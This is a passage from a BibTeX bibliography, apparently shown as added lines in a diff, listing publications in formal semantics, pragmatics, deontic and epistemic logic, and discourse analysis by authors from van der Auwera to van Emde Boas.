Presupposition}, + institution = {Universiteit Antwerpen}, + number = {Antwerp Papers in Linguistics, No. 2}, + year = {1975}, + address = {Antwerp}, + topic = {presupposition;} + } + +@article{ vanderauwera:1983a, + author = {Johan van der Auwera}, + title = {Introduction---Tasks for Conditionalists}, + journal = {Journal of Pragmatics}, + year = {1983}, + volume = {7}, + pages = {243--245}, + topic = {conditionals;} + } + +@article{ vanderauwera:1993a, + author = {Johan van der Auwera}, + title = {\,`Already' and `Still': Beyond Duality}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {6}, + pages = {613--653}, + topic = {`already';`still';negation;nl-semantics;} + } + +@incollection{ vanderberg:1999a, + author = {Martin van der Berg}, + title = {Questions as First-Class Citizens}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {79--84}, + address = {Amsterdam}, + topic = {dynamic-semantics;interrogatives;nl-semantics;} + } + +@incollection{ vanderbosch-daelemans:1998a, + author = {Antal van der Bosch and Walter Daelemans}, + title = {Do Not Forget: Full Memory in Memory-Based Learning of + Word Pronunciation}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {195--204}, + address = {Somerset, New Jersey}, + topic = {speech-generation;corpus-linguistics;} + } + +@incollection{ vanderbosch-etal:1998a, + author = {Antal van der Bosch and Ton Weijters and Walter Daelemans}, + title = {Modularity in Inductively-Learned Word Pronunciation + Systems}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {185--194}, + address = {Somerset, New Jersey}, + topic = {speech-generation;corpus-linguistics;} + } + +@article{ vanderdoes:1991a, + author = {Jaap {van der Does}}, + title = {A Generalized Quantifier Logic for Naked Infinitives}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {3}, + pages = {241--294}, + topic = {logic-of-perception;generalized-quantifiers;} + } + +@phdthesis{ vanderdoes:1992a, + author = {Jaap {van der Does}}, + title = {Applied Quantifier Logics}, + school = {University of Amsterdam}, + year = {1992}, + type = {Ph.{D}. Dissertation}, + address = {Amsterdam}, + missinginfo = {Department}, + topic = {quantifiers;} + } + +@techreport{ vanderdoes:1993a1, + author = {Jaap {van der Does}}, + title = {Sums and Quantifiers}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP-93-05}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland } , + xref = {Journal publication: vanderdoes:1993a2.}, + topic = {nl-semantics;plural;quantifiers;mereology;} + } + +@article{ vanderdoes:1993a2, + author = {Jaap {van der Does}}, + title = {Sums and Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {5}, + pages = {495--550}, + xref = {Technical report: vanderdoes:1993a2.}, + topic = {nl-semantics;plural;quantifiers;mereology;} + } + +@techreport{ vanderdoes:1993b, + author = {Jaap {van der Does}}, + title = {On Complex Plural Noun Phrases}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP-93-12}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {nl-semantics;plural;} + } + +@incollection{ vanderdoes-verkuyl:1996a, + author = {Jaap {van der Does} and Henk Verkuyl}, + title = {Quantification and Predication}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Kees {van Deemter} and Stanley Peters}, + address = {Cambridge, England}, + pages = {27--54}, + topic = {nl-quantifier-scope;distributive/collective-readings; + nl-quantification;predication;} + } + +@article{ vanderdoes-etal:1997a, + author = {Jaap {Van der Does} and Willem Groeneveld and Frank Veltman}, + title = {An Update on `Might'\, } , + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {4}, + pages = {361--380}, + topic = {modal-logic;dynamic-logic;} + } + +@article{ vanderdoes-verkuyl:1999a, + author = {Japp Vanderdoes and Henk Verkuyl}, + title = {Review of {\em Quantification in Natural Languages}, + Volumes {I} and {II}, + edited by {E}mmon {B}ach, {E}loise {J}elenick, + and {B}arbara {H}. {P}artee}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {2}, + pages = {243--251}, + xref = {Review of bach_e-etal:1995ab}, + topic = {nl-semantics;nl-quantifiers;} + } + +@article{ vanderdoes-vanlambalgen:2000a, + author = {Jaap Van der Does and Michiel Van Lambalgen}, + title = {A Logic of Vision}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {1}, + pages = {1--92}, + topic = {logic-of-perception;} + } + +@phdthesis{ vanderhoek:1992a, + author = {Wiebe {van der Hoek}}, + title = {Modalities for Reasoning about Knowledge and Quantities}, + school = {Vrije Universiteit van Amsterdam}, + year = {1992}, + type = {Ph.{D}. Dissertation}, + address = {Amsterdam}, + topic = {modal-logic;epistemic-logic;generalized-quantifiers;} + } + +@book{ vanderhoek-etal:1992a, + editor = {Wiebe van der Hoek et al.}, + title = {Non-Monotonic Reasoning and Partial Semantics}, + publisher = {Ellis Horwood}, + year = {1992}, + address = {Chichester}, + ISBN = {0136251463}, + topic = {nonmonotonic-reasoning;partial-logic;} + } + +@article{ vanderhoek-meyer:1992a, + author = {Wiebe {van der Hoek} and {John-Jules Ch.} Meyer}, + title = {Making Some Issues of Explicit Knowledge Explicit}, + journal = {International Journal of Foundations of Computer Science}, + year = {1992}, + volume = {3}, + number = {2}, + pages = {193--223}, + topic = {hyperintensionality;} + } + +@article{ vanderhoek-derijke:1993a, + author = {Wiebe {van der Hoek} and Maarten de Rijke}, + title = {Generalized Quantifiers and Modal Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {2}, + number = {1}, + pages = {19--58}, + topic = {generalized-quantifiers;modal-logic;} + } + +@incollection{ vanderhoek-etal:1994a, + author = {Wiebe van der Hoek and John-Jules Ch. Meyer and Jan + Treur}, + title = {Formal Semantics of Temporal Epistemic + Reflection}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {332--352}, + address = {Berlin}, + topic = {metaprogramming;semantics-of-programming-languages;} + } + +@incollection{ vanderhoek-thijsse:1994a, + author = {Wiebe {van der Hoek} and Elias Thijsse}, + title = {Honesty in Partial Logic}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {583--594}, + address = {San Francisco, California}, + topic = {kr;epistemic-logic;partial-logic;kr-course;} + } + +@article{ vanderhoek-etal:1996a, + author = {Wiebe {van der Hoek} and Jan Jaspars and Elias Thijsse}, + title = {Honesty in Partial Logic}, + journal = {Studia Logica}, + year = {1996}, + volume = {56}, + number = {3}, + pages = {323--360}, + topic = {epistemic-logic;nonmonotonic-logic;} + } + +@article{ vanderhoek:1998a, + author = {Wiebe {van der Hoek}}, + title = {Review of {\em Logic for Applications}, + by {A}nil {N}erode and {R}ichard {A}. {S}hore}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {2}, + pages = {228--229}, + topic = {applied-logic;logic-programming;modal-logic;} + } + +@article{ vanderhoek-meyer:1998a, + author = {Wiebe {van der Hoek} and John-Jules Meyer}, + title = {Temporalizing Epistemic Default Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {3}, + pages = {341--367}, + topic = {modal-logic;default-logic;temporal-logic;tmix-project;} + } + +@article{ vanderhoek:2000a, + author = {Wiebe van der Hoek}, + title = {Review of {\it Defeasible Deontic Logic}, edited by {D}onald + {N}ute}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {1}, + pages = {89--94}, + xref = {Review of: nute:1997a.}, + topic = {deontic-logic;nonmonotonic-logic;} + } + +@article{ vanderhoek:2000b, + author = {Wiebe van der Hoek}, + title = {Review of {\em Nonmonotonic Reasoning}, + by {G}rigoris {A}ntoniou}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {1}, + pages = {125--128}, + xref = {Review of antoniou:1997a.}, + topic = {nonmonotonic-reasoning;nonmonotonic-logic;} + } + +@article{ vanderhoek-etal:2000a, + author = {Wiebe van der Hoek and Bernd van Linder and John-Jules + Meyer}, + title = {On Agents That Have the Ability to Choose}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {1}, + pages = {79--119}, + topic = {action-formalisms;nondeterministic-action;} + } + +@article{ vanderhoek-witteveen:2002a, + author = {Wiebe van der Hoek and Cees Witteveen}, + title = {Note by the Guest Editors}, + journal = {Studia Logica}, + year = {2002}, + volume = {68}, + number = {1}, + pages = {3--4}, + topic = {belief-revision;} + } + +@incollection{ vanderhulst-meyer:1994a, + author = {M. {van der Hulst} and J.-J.Ch. Meyer}, + title = {An Epistemic Proof System for Parallel Processes}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {243--254}, + address = {San Francisco}, + topic = {epistemic-logic;distributed-systems;} + } + +@techreport{ vanderlinden:1992a, + author = {Keith {Vander Linden} and Susanna Cumming and James Martin}, + title = {The Expression of Local Rhetorical Relations in + Instructional Text}, + institution = {University of Colorado at Boulder, Department of + Computer Science}, + number = {CU-CS-585-92}, + year = {1992}, + topic = {nl-generation;discourse-structure;pragmatics;} +} + +@inproceedings{ vanderlinden:1993a, + author = {Keith {Vander Linden}}, + title = {Rhetorical {R}elations in {I}nstructional {T}ext + {G}eneration}, + booktitle = {{ACL} Workshop on Intentionality and Structure in + Discourse Relations}, + pages = {140--143}, + address = {Columbus, OH}, + year = {1993}, + topic = {nl-generation;discourse-structure;pragmatics;} +} + +@incollection{ vandermeyden:1994a, + author = {Ron {van der Meyden}}, + title = {Mutual Belief Revision (Preliminary Report)}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {595--606}, + address = {San Francisco, California}, + topic = {kr;multiagent-epistemic-logic;belief-revision;kr-course;} + } + +@incollection{ vandermeyden:1994b, + author = {Ron {van der Meyden}}, + title = {Common Knowledge and Update in Finite Environments. I + (Extended Abstract)}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {225--242}, + address = {San Francisco}, + topic = {mutual-beliefs;belief-revision;} + } + +@incollection{ vandermeyden:1996a, + author = {Ron {van der Meyden}}, + title = {Knowledge Based Programs: On the Complexity of Perfect + Recall in Finite Environments}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {31--49}, + address = {San Francisco}, + topic = {knowledge-based-programming;algorithmic-complexity; + distributed-systems;} + } + +@book{ vandersandt:1988a, + author = {Rob A. {van der Sandt}}, + title = {Context and Presupposition}, + publisher = {Croom Helm}, + year = {1988}, + address = {London}, + topic = {context;presupposition;pragmatics;} + } + +@article{ vandersandt:1992a, + author = {Rob A. {van der Sandt}}, + title = {Presupposition Projection as Anaphora Resolution}, + journal = {Journal of Semantics}, + year = {1992}, + volume = {9}, + pages = {333--377}, + missinginfo = {number}, + topic = {presupposition;anaphora-resolution;pragmatics;anaphora;} + } + +@book{ vandersandt-bosch:1994a, + editor = {Rob A. {van der Sandt} and Peter Bosch}, + title = {Focus: Linguistic, Cognitive, and Computational + Perspectives}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + ISBN = {0521583055 (hardbound)}, + topic = {focus;nl-processing;} + } + +@article{ vanderschraaf-skyrms:1993a, + author = {Peter Vanderschraaf and Brian Skyrms}, + title = {Deliberational Correlated Equilibria}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {191--227}, + topic = {rationality;decision-theory;Nash-equilibria;} + } + +@incollection{ vanderschraaf:1994a, + author = {Peter Vanderschraaf}, + title = {Inductive Learning, Knowledge Asymmetries and Convention}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {284--304}, + address = {San Francisco}, + topic = {game-theory;convention;} + } + +@inproceedings{ vandertorre-tan_yh:1995a, + author = {Leendert W.N. {van der Torre} and Yaohua Tan}, + title = {Cancelling and Overshadowing: Two Types of Defeasibility in + Defeasible Deontic Logic}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1525--1532}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {deontic-logic;nonmonotonic-logic;} + } + +@book{ vandertorre:1997b, + author = {Leendert W.N. {van der Torre}}, + title = {Reasoning about Obligations: Defeasibility in + Preference-Based Deontic Logic}, + publisher = {Thesis Publishers}, + year = {1997}, + address = {Amsterdam}, + topic = {deontic-logic;nonmonotonic-logic;} + } + +@inproceedings{ vandertorre-tan_yh:1997a, + author = {Leendert W.N. {van der Torre} and Yao-Hua Tan}, + title = {Prohairetic Deontic Logic and Qualitative Decision Theory}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {103--111}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;deontic-logic;} + } + +@incollection{ vandertorre-tan_yh:1997c, + author = {Leendert {van der Torre} and Yao-Hua Tan}, + title = {The Many Faces of Defeasibility in Defeasible + Deontic Logic}, + booktitle = {Defeasible Deontic Logic}, + editor = {Donald Nute}, + pages = {17--44}, + publisher = {Kluwer Academic Publishers}, + address = {Dordrecht}, + year = {1997}, + topic = {deontic-logic;nonmonotonic-reasoning;} + } + +@incollection{ vandertorre-tan_yh:1998a, + author = {Leendert W.N. van der Torre and Yaohua Tan}, + title = {An Update Semantics for Prima Facie Obligation}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {38--42}, + address = {Chichester}, + topic = {deontic-logic;belief-revision;prima-facie-obligation;} + } + +@inproceedings{ vandertorre-tan_yh:1998b, + author = {Leendert W.N. van der Torre and Yaohua Tan}, + title = {The Temporal Analysis of {C}hisholm's Paradox}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1998}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {650--655}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {deontic-logic;conditional-obligation;} + } + +@incollection{ vandertorre-tan_yh:1998c, + author = {Leendert W.N. van der Torre and Yaohua Tan}, + title = {An Update Semantics for Deontic Reasoning}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + address = {Amsterdam}, + missinginfo = {pages}, + topic = {deontic-logic;} + } + +@incollection{ vandertorre-tan_yh:1998d, + author = {Leendert {van der Torre} and Yao-Hua Tan}, + title = {Prohairetic Deontic Logic}, + booktitle = {Logics in Artificial Intelligence European Workshop, + {JELIA}'98, Dagstuhl, Germany, October 12-15, 1998}, + publisher = {Springer-Verlag}, + year = {1998}, + editor = {J\"urgen Dix and Luis Fari\~nas del Cerro and Ulrich + Furbach}, + pages = {77--91}, + address = {Berlin}, + topic = {deontic-logic;} + } + +@inproceedings{ vandertorre-weydert:1999a, + author = {Leendert W.N. {van der Torre} and Emil Weydert}, + title = {Risk Parameters for Utilitarian Desires}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {48--54}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {practical-reasoning;risk;} + } + +@incollection{ vandertorre-tan:2000a, + author = {Leon W.N. van der Torre and Yao-Hua Tan}, + title = {Contextual Deontic Logic}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {143--160}, + address = {Dordrecht}, + topic = {context;deontic-logic;conditional-obligation;} + } + +@unpublished{ vandervecken:1980a, + author = {Daniel Vandervecken}, + title = {A Formal Definition of the Class of Logical Connectors + of Pragmatics}, + year = {1980}, + note = {Unpublished manuscript, Belgian National Science Foundation}, + missinginfo = {Date is a wild guess.}, + topic = {pragmatics;} + } + +@unpublished{ vandervecken:1980b, + author = {Daniel Vandervecken}, + title = {A Strong Completeness Theorem for Pragmatics}, + year = {1980}, + note = {Unpublished manuscript, Belgian NAtional Science Foundation}, + missinginfo = {Date is a wild guess.}, + topic = {pragmatics;} + } + +@techreport{ vandervecken:1991a, + author = {Daniel Vandervecken}, + title = {What is a Proposition?}, + institution = {D\'epartement de Philosophie, Universit\'e du Quebec a + Montr\'eal}, + number = {9103}, + year = {1991}, + address = {Montr\'eal, Qu\'ebec}, + topic = {propositional-attitudes;} + } + +@book{ vanderveer-mulder:1988a, + editor = {Gerritt C. {van der Veer} and Gijsbertus Mulder}, + title = {Human-Computer Interaction: Psychonomic Aspects}, + publisher = {Springer-Verlag}, + year = {1988}, + address = {Berlin}, + ISBN = {0387189017 (U.S.)}, + topic = {HCI;} + } + +@inproceedings{ vanderwouden-zwarts:1993a, + author = {Ton {van der Wouden} and Frans Zwarts}, + title = {A Semantic Analysis of Negative Concord}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {202--219}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + contentnote = {"Negative concord" is case where 2 negations have semantics + effect of 1 negation.}, + topic = {negation;} + } + +@book{ vandijk:1972a, + author = {Teun A. {Van Dijk}}, + title = {Some Aspects of Text Grammars. A Study in Theoretical + Linguistics and Poetics}, + publisher = {Mouton}, + year = {1972}, + address = {The Hague}, + topic = {text-grammar;discourse;pragmatics;} + } + +@book{ vandijk:1976a, + author = {Teun A. {Van Dijk}}, + title = {Pragmatics of Language and Literature}, + publisher = {North Holland}, + year = {1976}, + address = {Amsterdam}, + topic = {text-grammar;discourse;pragmatics;} + } + +@book{ vandijk:1981a, + author = {Teun A. van Dijk}, + title = {Studies in the Pragmatics of Discourse}, + publisher = {Mouton}, + year = {1981}, + address = {The Hague}, + topic = {text-grammar;} +} + +@book{ vandijk:1985a, + editor = {Teun A {van Dijk}}, + title = {Handbook of Discourse Analysis}, + publisher = {Academic Press}, + year = {1985}, + address = {New York}, + topic = {discourse-analysis;pragmatics;} +} + +@book{ vandijk:1997a, + editor = {Teun A {van Dijk}}, + title = {Discourse as Structure and as Process}, + publisher = {Sage Publications}, + year = {1997}, + address = {Thousand Oaks, California}, + contentnote = {TC: + 1. T. van Dijk, "The Study of Discourse" + 2. R. de Beauregarde, "The Story of Discourse Analysis" + 3. R. tomlin et al., "Discourse Semantics" + 4. S. Cumming & T. Ono, "Discourse and Grammar" + 5. B. Sandig & M. Seltig, "Discourse Styles" + 6. A. Gill & K Whedbee, "Rhetoric" + 7. E. Ochs, "Narrative" + 8. F. van Eemeren et al., "Argumentation" + 9. J. Martin & S. Eggins, "Genres and Registers of Discourse" + 10. G. Kress, "Discourse Semiotics" + 11. A. Graesser, M. Gernsbacher & S. Goldman, "Cognition" + 12. C. Antaki & S. Condor, "Social Cognition and Discourse" + } , + topic = {discourse-analysis;pragmatics;} + } + +@book{ vandijk:1997b, + editor = {Teun A. {van Dijk}}, + title = {Discourse as Structure and as Process}, + publisher = {Sage Publications}, + year = {1997}, + address = {Thousand Oaks, California}, + contentnote = {TC: + 1. T. van Dijk, "Discourse as Interaction in Society" + 2. S. Blum-Kulka, "Discourse Pragmatics" + 3. A. Pomerantz & B. Fehr, "Conversation Analysis" + 4. P. Drew & M. Soronjen, "Institutional Dialogue" + 5. C. Kramarae, C. West & M. Lazar, "Gender in Discourse" + 6. T. van Dijk et al., "Discourse, Ethnicity, Culture, and Racism" + 7. D. Mumby & R. Clair, "Organizational Discourse" + 8. P. Chilton & C. Schueffner, "Discourse and Politics" + 9. A. Wierzbicka & C. Goddard, "Discourse and Culture" + 10. N. Fairclough & R. Wodak, "Critical Discourse Analysis" + 11. B. Gunnarsson, "Applied Discourse Analysis" + } , + note = {Discourse Studies: A Multidisciplinary Introduction, Volume 1.}, + topic = {discourse-analysis;pragmatics;} + } + +@book{ vandijk:1997c, + editor = {Teun A. {van Dijk}}, + title = {Discourse as Social Interaction}, + publisher = {Sage Publications}, + year = {1997}, + address = {Thousand Oaks, California}, + note = {Discourse Studies: A Multidisciplinary Introduction, Volume 1.}, + topic = {discourse-analysis;pragmatics;} + } + +@article{ vanditmarsch:2002a, + author = {Hans van Ditmarsch}, + title = {Descriptions of Game Actions}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {3}, + pages = {349--365}, + topic = {game-theory;epistemic-logic;action-formalisms;} + } + +@phdthesis{ vaneck:1981a1, + author = {J. {Van Eck}}, + title = {A System of Temporally Relative Modal and Deontic Predicate + Logic and Its Philosophical Applications}, + school = {Rujksuniversiteit de Groningen}, + year = {1981}, + type = {Ph.{D}. Dissertation}, + address = {Groningen}, + missinginfo = {A's 1st name}, + xref = {Journal Publication: vaneck:1981a1.}, + topic = {temporal-logic;modal-logic;deontic-logic;} + } + +@article{ vaneck:1981a2, + author = {J. {Van Eck}}, + title = {A System of Temporally Relative Modal and Deontic Predicate + Logic and Its Philosophical Applications}, + journal = {Logique et Analyse}, + year = {1982}, + volume = {100}, + pages = {249--381}, + topic = {temporal-logic;modal-logic;deontic-logic;} + } + +@book{ vaneemeren:1987a, + editor = {Frans H. {van Eemeren}}, + title = {Handbook of Argumentation Theory: A Critical Survey of + Classical Backgrounds and Modern Studies}, + publisher = {Foris Publications}, + year = {1987}, + address = {Dordrecht}, + ISBN = {9067653306}, + topic = {argumentation;} + } + +@book{ vaneemeren:1993a, + author = {Frans H. van Eemeren}, + title = {Reconstructing Argumentative Discourse}, + publisher = {University of Alabama Press}, + year = {1993}, + address = {Tuscaloosa, Alabama}, + ISBN = {0817306978}, + topic = {argumentation;} + } + +@book{ vaneemeren:1996a, + editor = {Frans H. van Eemeren}, + title = {Fundamentals of Argumentation Theory: A Handbook of + Historical Backgrounds and Contemporary Developments}, + publisher = {Lawrence Erlbaum}, + year = {1996}, + address = {Mahwah, New Jersey}, + ISBN = {0805818618}, + topic = {argumentation;} + } + +@incollection{ vaneijck:1983a, + author = {Jan {van Eijck}}, + title = {Discourse Representation Theory and Plurality}, + booktitle = {Studies in Modeltheoretic Semantics}, + editor = {Alice {ter Meulen}}, + series = {GRASS 1}, + publisher = {Foris}, + address = {Dordrecht}, + year = {1983}, + missinginfo = {pages}, + topic = {discourse-representation-theory;plural;pragmatics;} + } + +@article{ vaneijck:2001a, + author = {Jan van Eijck}, + title = {Incremental Dynamics}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {3}, + pages = {319--351}, + topic = {dynamic-logic;anaphora;combinatory-logic;} + } + +@article{ vaneijck_j:2000a, + author = {Jan van Eijck}, + title = {Making Things Happen}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {1}, + pages = {41--58}, + topic = {dynamic-logic;action-formalisms;} + } + +@article{ vaneijk-devries:1975a, + author = {Jan van Eijk and Fer-Jan de Vries}, + title = {Reasoning about Update Logic}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {24}, + number = {1}, + pages = {47--45}, + topic = {belief-revision;dynamic-logic;} + } + +@incollection{ vaneijk:1984a, + author = {Jan van Eijk}, + title = {Discourse Representation, Anaphora and Scopes}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {103--122}, + address = {Dordrecht}, + topic = {DRT;anaphora;} + } + +@incollection{ vaneijk:2001a, + author = {Jan van Eijk}, + title = {Border Crossings}, + booktitle = {Logic in Action}, + publisher = {Institute for Logic, Language, and Computation, + University of Amsterdam}, + year = {2001}, + editor = {Johan van Benthen and Paul Dekker and Jan van Eijk and + Maarten de Rijke and Yde Venema}, + pages = {51--74}, + address = {Amsterdam}, + topic = {programming-languages;nl-syntax;dynamic-logic;context;} + } + +@book{ vaneijk_j:1991a, + editor = {Jan {van Eijk}}, + title = {Logics in {AI}, Proceedings {JELIA}'90}, + publisher = {Springer-Verlag}, + year = {1991}, + address = {Berlin}, + series = {Lecture Notes in Computer Science}, + number = {478}, + ISBN = {0387536868}, + topic = {logic-in-AI;logic-in-AI-survey;} + } + +@inproceedings{ vaneijk_j-devries:1991a, + author = {Jan {van Eijk} and Fer-Jan {De Vries}}, + title = {Dynamic Interpreation and {H}oare Deduction; + Extended Abstract}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {65--84}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + xref = {See vaneijk-devries:1992a for article.}, + topic = {dynamic-logic;dynamic-semantics;dynamic-predicate-logic; + hoare-deduction;} + } + +@article{ vaneijk_j-devries:1992a, + author = {Jan {van Eijk} and Fer-Jan de Vries}, + title = {Dynamic Interpretation and {H}oare Deduction}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {1}, + number = {1}, + pages = {1--44}, + topic = {dynamic-logic;dynamic-predicate-logic;hoare-deduction;} + } + +@book{ vaneijk_j-visser:1994a, + editor = {Jan {van Eijk} and Albert Visser}, + title = {Logic and Information Flow}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {theory-of-computation;dynamic-logic;information-processing; + information-flow-theory;} + } + +@incollection{ vaneijk_j-francez:1995a, + author = {Jan {van Eijk} and Nissim Francez}, + title = {Verb-Phrase Ellipsis in Dynamic Semantic}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {29--59}, + address = {Dordrecht}, + topic = {ellipsis;dynamic-predicate-logic;dynamic-semantics; + presupposition;pragmatics;} + } + +@article{ vaneijk_j-devries:1996a, + author = {Jan {van Eijk} and Fer-Jan {de Vries}}, + title = {Reasoning about Update Logic}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {24}, + number = {1}, + pages = {19--45}, + topic = {belief-revision;dynamic-logic;modal-logic;} + } + +@incollection{ vaneijk_j-kamp:1996a, + author = {Jan {van Eijk} and Hans Kamp}, + title = {Representing Discourse in Context}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {179--237}, + address = {Amsterdam}, + topic = {context;discourse-representation-theory;discourse; + dynamic-semantics;pragmatics;} + } + +@article{ vaneijk_j:1997a, + author = {Jan {van Eijk}}, + title = {Review of {\it The Generic Book}, edited by {G}reg {C}. + {C}arlson and {F}. {J}effry {P}elletier}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {339--341}, + topic = {generics;} + } + +@article{ vaneijk_r:1999a, + author = {Rogier {van Eijk}}, + title = {Review of {\em Partiality, Modality, and + Nonmonotonicity}, edited by {P}atrick {D}oherty}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {2}, + pages = {251--254}, + xref = {Review of: doherty:1996a}, + topic = {partial-logic;modal-logic;nonmonotonic-logic;} + } + +@unpublished{ vanemdeboas-etal:1979a, + author = {P. {van emde Boas} and T.M.Y. Janssen}, + title = {The Impact of {F}rege's Principle of Compositionality for + the Semantics of Programming and Natural Languages}, + year = {1979}, + note = {Unpublished manuscript, Department of Mathematics, University + of Amsterdam.}, + missinginfo = {A's 1st name}, + topic = {semantics-of-programming-languages;semantic-compositionality;} + } + +@incollection{ vanemdeboas-etal:1980a, + author = {Peter {van emde Boas} and Jeroen Groenendijk and Martin Stokhof}, + title = {The {Conway} Paradox: Its Solution in an Epistemic Framework}, + booktitle = {Proceedings of the 3rd {A}msterdam Colloquium}, + year = {1980}, + missinginfo = {Reference may be wrong. Pages, publisher, etc missing. + Reference from fagin-etal:1991a.}, + topic = {epistemic-logic;Conway-paradox;} + } + 